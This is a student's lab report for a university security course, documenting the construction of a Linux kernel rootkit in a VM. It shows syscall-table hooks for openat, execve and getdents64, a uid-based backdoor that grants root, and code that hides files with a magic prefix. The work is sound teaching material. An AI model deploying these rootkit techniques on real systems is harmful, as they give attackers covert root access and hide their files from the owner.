

COMP4108-A
Assignment 2

Abdul Sayyad
101212115

Part A – Setup

1. Rootkit has been downloaded
2. A new bash shell with root privileges is run in a separate window
3. Upon inspecting the file “/proc/kallsyms” with the piped command “grep sys_call_table”, I was able to locate the following lines in the file:

```
root@COMP4108-a2:/home/student/a2# cat /proc/kallsyms | grep sys_call_table
fffffffffb66002a0 R x32_sys_call_table
fffffffffb66013c0 R sys_call_table
fffffffffb6602400 R ia32_sys_call_table
```

Seeing the three entries above, I noted down the address.

4. The rootkit.c file has been altered to include the address name in the appropriate parameter as shown below:

```
unsigned long * get_syscall_table_bf(void){
    unsigned long *syscall_table;
    syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table");
    return syscall_table;
}
```

Initially, I placed the address itself, but after some trial and error found out that it requires the address name and not memory entry. I also went through the TODOs for part A and added the unprotect and protect calls during init and cleanup, where necessary, in order to be able to write to that memory location:

For init:

```
/*
 * TODO: NEEDED FOR PART A
 * Unprotect the memory by calling the appropriate function
 */
unprotect_memory();
```

For cleanup:

```
static void __exit cleanup_rootkit(void){
    printk(KERN_INFO "Rootkit module is unloaded!\n");

    /*
     * TODO: NEEDED FOR PART A
     * Unprotect the memory by calling the appropriate function
     */
    unprotect_memory();

    /*
     * TODO: NEEDED FOR PART A
     * Protect the memory by calling the appropriate function
     */
    protect_memory();

    printk(KERN_INFO "Rootkit module cleanup complete.\n");
}
```

5. The command “make” was run in the a2 directory to confirm that the code compiles:

```
root@COMP4108-a2:/home/student/a2# make
make -C /lib/modules/5.4.0-171-generic/build M=/home/student/a2 modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-171-generic'
CC [M] /home/student/a2/rootkit.o
/home/student/a2/rootkit.c:74:14: warning: 'magic_prefix' defined but not used [-Wunused-variable]
   74 | static char* magic_prefix;
      |
/home/student/a2/rootkit.c:62:12: warning: 'root_uid' defined but not used [-Wunused-variable]
   62 | static int root_uid;
      |
Building modules, stage 2.
MODPOST 1 modules
CC [M] /home/student/a2/rootkit.mod.o
LD [M] /home/student/a2/rootkit.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-171-generic'
```

The “.ko” file is now ready to be inserted using the “insert.sh” and ejected using the “eject.sh” scripts given to us that make use of insmod and other kernel loading commands.

6. Running “./insert.sh” goes through without any issues. Upon running “lsmod” I could see the rootkit at the top of the list of installed kernel modules:

```
root@COMP4108-a2:/home/student/a2# ./insert.sh
root@COMP4108-a2:/home/student/a2# lsmod
Module                Size  Used by
rootkit               16384  0
```

The last few lines of syslog also confirm that it has been loaded successfully:

```
Oct 12 04:18:44 COMP4108-a2 kernel: [ 1115.428524] rootkit: Loading out-of-tree module taints kernel.
Oct 12 04:18:44 COMP4108-a2 kernel: [ 1115.428607] rootkit: module verification failed: signature and/or required key missing - tainting kernel
Oct 12 04:18:44 COMP4108-a2 kernel: [ 1115.429172] Rootkit module initializing.
Oct 12 04:18:44 COMP4108-a2 kernel: [ 1115.445788] Rootkit module is loaded!
```

7. Running “./eject.sh” goes through without any issues. Upon running “lsmod” I could see that rootkit is no longer in the list.

```
Module                Size  Used by
intel_rapl_msr        20480  0
intel_rapl_common     24576  1 intel_rapl_msr
```

The last lines of syslog also confirm that it has been ejected successfully:

```
Oct 12 04:21:26 COMP4108-a2 kernel: [ 1277.465760] Rootkit module is unloaded!
Oct 12 04:21:26 COMP4108-a2 kernel: [ 1277.465773] Rootkit module cleanup complete.
```

8. For Part A, the code for openat() was given to us already. I altered the init() function to unprotect the memory, hook our function to the syscall table, and then protect the memory. For the cleanup() function, I altered it to restore the original function instead. Now to test our hook, I opened a test file I created using vim, and then checked “/var/log/syslog” using tail (note that I am writing the assignment after completing all the code, so I restarted

the syslog service and will uncomment my hooks as I go in order to have a “clean” syslog output for demonstration purposes):

```
root@COMP4108-a2:/home/student/test# vim foo.txt
root@COMP4108-a2:/home/student/test# tail /var/log/syslog
Oct 15 03:38:28 COMP4108-a2 rsyslogd: imuxsock: Acquired UNIX socket '/run/s
ystemd/journal/syslog' (fd 3) from systemd. [v8.2001.0]
Oct 15 03:38:28 COMP4108-a2 rsyslogd: rsyslogd's groupid changed to 103
Oct 15 03:38:28 COMP4108-a2 systemd[1]: Started System Logging Service.
Oct 15 03:38:28 COMP4108-a2 rsyslogd: rsyslogd's userid changed to 101
Oct 15 03:38:28 COMP4108-a2 rsyslogd: [origin software="rsyslogd" swVersion=
"8.2001.0" x-pid="14904" x-info="https://www.rsyslog.com"] start
Oct 15 03:38:48 COMP4108-a2 kernel: [109081.656262] Rootkit module initializ
ing.
Oct 15 03:38:48 COMP4108-a2 kernel: [109081.673749] Rootkit module is loaded
!
Oct 15 03:43:46 COMP4108-a2 kernel: [109379.403749] openat() called for /usr
/share/vim/vim81/rgb.txt
Oct 15 03:43:46 COMP4108-a2 kernel: [109379.437004] openat() called for foo.
txt
Oct 15 03:43:46 COMP4108-a2 kernel: [109379.437480] openat() called for foo.
txt
root@COMP4108-a2:/home/student/test# |
```

We can see that after inserting the rootkit module it prints in the syslog that it has been initialized and loaded. Using vim ends up invoking openat() for an rgb.txt file it uses, and my foo.txt, for which the screenshot above shows entries for.

9. The most apparent principle that can be applied here is P6 – Least privilege, as rootkits need special permissions to actually get installed into the system. By disallowing unauthorized access to root commands, we can prevent unwanted LKMs from getting installed. Secondly P4 – Complete Mediation, is also necessary, since rootkits are able to make direct calls to the sys_call_table and make changes to it. Complete mediation could ensure that each call made must be authorized, therefore mitigating the effectiveness of rootkits to some degree.

Part B – Backdoor

1. Firstly, I looked at the way our `openat()` function was created and used the same function signature for the `execve()` hook, `newexecve()`:

```
asm linkage int new_execve(const struct pt_regs* regs){
```

The function, just like `new_openat()` eventually calls the original `openat()` and returns it. To continue the setup for the hook, I followed the `openat()` hooks in `init()` and `cleanup()` that change the `__NR_X`, where `x` here is `execve`, in the syscall table effectively directing the system call to our function instead:

```
__sys_call_table[__NR_execve] = (unsigned long) new_execve;
```

The above was done in `init()`, whereas in `cleanup()` the syscall table entry will point back to the original `execve`.

Once again, following the logic of `openat()`, I used `strncpy_from_user()` to take the command being invoked, which is the first argument therefore requires a call to `regs->di` instead of `regs->si` which is the second argument in the registry. I copied the command then printed the command in the kernel syslog using `printk()`. Next, I called the current macro function `current_euid()` to get the `euid` of the current process and printed that using `printk()` again. The command that was copied needed to be `kmalloc'd` and `kfreed` the same way as `filename` in `new_openat()`. The resulting logic is in the snippet below:

```
// copy the command into the kernel variable
if (strncpy_from_user(command, (void*) regs->di, 4096) < 0){
    kfree(command);
    return 0;
}

printk(KERN_INFO "Executing %s\n", command);

//get effective uid
euid = current_euid().val;
printk(KERN_INFO "Effective UID %d\n", euid);
```

To test that this works, I rebuilt the LKM, and inserted it back into the kernel. Next, I ran one shell as student and one as root, and made an ls call from student. The output of tail /var/log/syslog is as follows:

```
Oct 15 05:37:21 COMP4108-a2 kernel: [116194.824967] Executing /usr/bin/tail
Oct 15 05:37:21 COMP4108-a2 kernel: [116194.824971] Effective UID 0
Oct 15 05:37:26 COMP4108-a2 kernel: [116200.322863] Executing /bin/ls
Oct 15 05:37:26 COMP4108-a2 kernel: [116200.322867] Effective UID 1001
```

We can see that it shows which executables are being executed, and the effective uid of the user executing the file (which is root for tailing the syslogs previously, and then ls being called by the student user).

2. For this part, I added the root_uid variable to insert.sh, where I declared it then added it to the insmod command. The root_uid is actually the uid of student, whom we want to give root privileges to:

```
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt
ROOT_UID=1001

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID
```

And now in rootkit.c, I get the parameter root_uid and add it as a variable to start working with it:

```
static int root_uid;
module_param(root_uid, int, 0);
MODULE_PARM_DESC(root_uid, "Received root_uid parameter");
```

Back to new_execve(), I added a conditional block that checks if the effective uid of the calling user is the same as the root_uid variable we stored, then we know it's the student and we give the user root credentials. This is done using prepare_kernel_cred() and commit_creds(). Using prepare_kernel_cred() and passing the current

task to it, I get the cred of the current task caller and set the values of 0 for uid and euid, then I passed that to commit_creds as follows:

```
if(root_uid == euid){  
    //use prepare_kernel_cred() and commit_creds() here  
    creds = prepare_kernel_cred(current);  
    creds->uid.val = 0;  
    creds->euid.val = 0;  
  
    commit_creds(creds);  
}
```

To test that this functionality works, I rebuilt rootkit.c. Before inserting it, I made a whoami command as the student user. I inserted the LKM and then tried the same command again, and this was the output:

```
student@COMP4108-a2:~$ whoami  
student  
student@COMP4108-a2:~$ whoami  
root  
student@COMP4108-a2:~$ |
```

The logic here is that execve syscall is invoked whenever a command is passed to the shell, and when the current task is being called by student, getting the euid of the caller gives us the uid of the student, which passes the condition. Then using prepare_kernel_cred we are able to get the credentials of the current task's calling user. I overwrote the uid and euid to be 0 which is root, then I committed those creds using commit_creds(), effectively changing the uid and euid of student and giving them root privileges triggered by them making a command.

Part C – File Cloaking

1. Firstly, I familiarized myself with `getdents64()` and the `linux_dirent` struct. The function `getdents64()` returns the number of bytes read, which is actually the size of the `dirents` that are currently in the userland buffer. In order to actually get the `dirents`, we have to copy them from userland into a buffer we `kmalloc` in the kernel memory. It is accessed by looking at the userland register's second argument (i.e. `regs->si`). Since we know that `getdents64()` returns the size, we can use that for the size of the buffer, and we get the following:

```
ret = original_getdents(regs);  
buf = kmalloc(ret, GFP_KERNEL);  
copy_from_user(buf, (void *)regs->si, ret);
```

There is an example in the man page for `getdents64()` which I used to learn how to iterate through `dirents` which I now have copied into my buffer. It makes use of the `dirent` struct property `d_reclen`, which is the length of the `dirent`, and the property `d_name` which is self described. Starting from the beginning of the buffer, i.e. 0, I initialize `dirent` pointer as initially just the memory pointer to the buffer itself (buffer memory address + 0 is still buffer memory address), and then I update the position based on `d_reclen` to traverse the buffer `dirent` by `dirent` to printk the entries. The code snippet below shows my implementation:

```
printk("getdents64() hook invoked.");  
  
copy_from_user(buf, (void *)regs->si, ret);  
  
for (bpos = 0; bpos < ret;) {  
    d = (struct linux_dirent *) (buf + bpos);  
    printk("entry: %s\n", d->d_name);  
  
    bpos += d->d_reclen;  
}
```


Following that, I free the kmalloc'd buffer and return the ret variable i.e. the size of the dirents in userland buffer. Following the testing pattern of the previous parts, I get the following:

```
root@COMP4108-a2:/home/student/a2# tail /var/log/syslog
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535412] getdents64() hook invoked.
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535416] entry: .
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535418] entry: ..
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535421] entry: cgroup.procs
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535423] entry: pids.current
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535426] entry: pids.events
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535428] entry: tasks
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535431] entry: notify_on_release
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535433] entry: pids.max
Oct 15 06:24:31 COMP4108-a2 kernel: [119024.535435] entry: cgroup.clone_children
```

The getdents64() is being called frequently given that commands like ls use it, and even more while having VSCode ssh'd into the VM. That makes the syslog file get heavily populated very quickly.

2. First, I added the magic prefix into insert.sh the same way the other variables were inserted:

```
#!/bin/bash

# Specify the extension suffix for the openat hook code
SUFFIX=.txt
ROOT_UID=1001
MAGIC_PREFIX=\$sys\$

#Insert the rootkit module, providing some parameters
insmod rootkit.ko suffix=$SUFFIX root_uid=$ROOT_UID magic_prefix=$MAGIC_PREFIX
```

I used the backslash to escape the reserved \$ symbol. Next, I loaded the magic_prefix variable into the module as done previously with the other variables in rootkit.c:

```
static char* magic_prefix;
module_param(magic_prefix, charp, 0);
MODULE_PARM_DESC(magic_prefix, "Received magic_prefix parameter");
```

Then I started working on the new_getdents() to modify it and add my logic to hide files starting with the magic prefix. Since I already had much of the skeleton code I needed from the previous question (copying the buffer from userland, iterating through dirents), I just added another buffer that will store the altered dirents. Knowing that the original getdents64 returns the byte size of the current dirents

userland buffer in the registry, which I have previously used to kcalloc the original buffer for Q1, I used it again to kcalloc the new buffer in kernel memory. The new buffer will either be the same size as the old buffer, with no hidden files being “cleansed”, or it will be of smaller size, hence using the ret of getdents. Using the same logic from openat to compare the strings, I used strncmp to compare the magic prefix and the dirent name (using d->d_name) and I took the strlen of the prefix to make sure it compares the right number of characters in the two strings. If the prefix and the prefix-sized first chunk of d_name don’t match, then it gets added to the new buffer that I called fakebuf. I need to keep track of the byte position in the fake buffer just like I did with bpos (credit goes to the getdents64 man page code, it saved my life). And just like buf + bpos was used to indicate the byte position when traversing the original buf, I used fakebuf + fpos (fake buf position) to indicate the same for fakebuf. The handy memcpy() function takes the memory position you give it, the data to be copied over, as well as the size of said data. Therefore, I only needed to use d->d_reclen for the current d’s size when adding it to the fakebuf and then I update the position of the byte to current position + d_reclen number of bytes:

```
copy_from_user(buf, (void *)regs->si, ret);

for (bpos = 0, fpos = 0; bpos < ret; ) {
    d = (struct linux_dirent *) (buf + bpos);
    if (strncmp(d->d_name+1, magic_prefix, prefix_len) != 0) {
        printk("entry: %s\n", d->d_name);
        memcpy(fakebuf + fpos, d, d->d_reclen);
        fpos += d->d_reclen;
    }
    bpos += d->d_reclen;
}
```

Now that I have the new buffer, with its size being the value of fpos after traversing and populating (mirroring ret for the original buf), I copy it back to the userland register:

```
copy_to_user((void *)regs->si, fakebuf, fpos);
```

An issue that I faced while implementing this is not being able to detect the magic_prefix, then I realized that the system stores the filenames with escaped characters wrapped in quotation marks. Therefore, I add an offset of when looking at d_name to bypass the first quotation mark. To test the hook, I created the following files before re-inserting the LKM:

```
student@COMP4108-a2:~/test$ ls  
'$sys$bar.txt' '$sys$foo.txt' bar.txt foo.txt
```

Then called ls -la in the directory before and after inserting the LKM. Here is the output for the before and after:

```
student@COMP4108-a2:~/test$ ls -la  
total 8  
drwxr-xr-x  2 root    root    4096 Oct 15 03:43 .  
drwxr-xr-x 10 student student 4096 Oct 15 02:35 ..  
-rw-r--r--  1 root    root      0 Oct 15 02:42 '$sys$bar.txt'  
-rw-r--r--  1 root    root      0 Oct 15 02:35 '$sys$foo.txt'  
-rw-r--r--  1 root    root      0 Oct 15 02:35 bar.txt  
-rw-r--r--  1 root    root      0 Oct 15 02:35 foo.txt  
student@COMP4108-a2:~/test$ ls -la  
total 8  
drwxr-xr-x  2 root    root    4096 Oct 15 03:43 .  
drwxr-xr-x 10 student student 4096 Oct 15 02:35 ..  
-rw-r--r--  1 root    root      0 Oct 15 02:35 bar.txt  
-rw-r--r--  1 root    root      0 Oct 15 02:35 foo.txt
```

As seen above, any files beginning with the magic prefix are now being hidden from the user.